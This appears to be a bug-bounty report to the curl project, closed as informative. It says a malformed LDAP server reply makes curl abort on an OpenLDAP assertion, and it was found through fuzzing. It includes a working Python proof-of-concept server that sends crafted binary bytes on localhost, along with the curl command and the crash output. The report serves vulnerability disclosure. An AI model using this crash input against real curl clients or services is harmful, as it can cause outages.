curl ASSERTs when accessing an LDAP URL
C
curl
Submitted None
Actions:
Reported by
cmeister2
Vulnerability Details
Technical details and impact analysis
## Summary:
curl can crash when accessing an LDAP URL.
```
curl ldap://localhost:1388
curl: result.c:930: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed.
Aborted (core dumped)
```
No AI was used in the production of this report. This was enabled by oss-fuzz, but initiated by me adding LDAP support to curl-fuzzer.
## Affected version
This works for my system curl as well as master curl.
## Steps To Reproduce:
Run this Python script:
```
#!/usr/bin/env python3
"""
Simple socket server that sends a specific binary response on port 1388.
"""
import socket
import logging
import sys
# Set up logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
log = logging.getLogger(__name__)
# The binary response to send
BINARY_RESPONSE = b'0%1\x01\x00x\x00\r\x00\x00\x00\x00\x00\x8a\x00\r\x00\x06\x00\r\x00\x00\x00\r\x00\x00\x00\x00\xc7\xc7\xc7\x9b\x80\xeb\x05123456\x00\x03\x00\x00\x00\tcn=d\x00\x10man'
PORT = 1388
def handle_client(client_socket, client_address):
"""Handle a single client connection."""
try:
log.info(f"Client connected from {client_address}")
# Send the binary response
client_socket.send(BINARY_RESPONSE)
log.info(f"Sent {len(BINARY_RESPONSE)} bytes to {client_address}")
except Exception as e:
log.error(f"Error handling client {client_address}: {e}")
finally:
# Close the client socket
client_socket.close()
log.info(f"Connection closed for {client_address}")
def run_server():
"""Run the socket server."""
# Create a socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Allow socket reuse
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
# Bind to the port
server_socket.bind(('localhost', PORT))
server_socket.listen(5)
log.info(f"Server listening on port {PORT}")
log.info("Press Ctrl+C to stop the server")
while True:
try:
# Accept a client connection
client_socket, client_address = server_socket.accept()
# Handle the client in the same thread (simple approach)
handle_client(client_socket, client_address)
except KeyboardInterrupt:
log.info("Server shutdown requested")
break
except Exception as e:
log.error(f"Error accepting connection: {e}")
except Exception as e:
log.error(f"Error starting server: {e}")
sys.exit(1)
finally:
server_socket.close()
log.info("Server socket closed")
if __name__ == "__main__":
run_server()
```
This runs a server on port 1388 which simply returns a binary response.
Then call curl:
```
curl ldap://localhost:1388
curl: result.c:930: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed.
Aborted (core dumped)
```
curl asserts in OpenLDAP.
## Impact
## Summary:
If curl is being used on a server and an attacker can influence which URL is being passed to curl, and that URL can use the LDAP protocol, the server will crash, potentially causing outages.
Report Details
Additional information and metadata
State
Closed
Substate
Informative
Submitted
Weakness
Business Logic Errors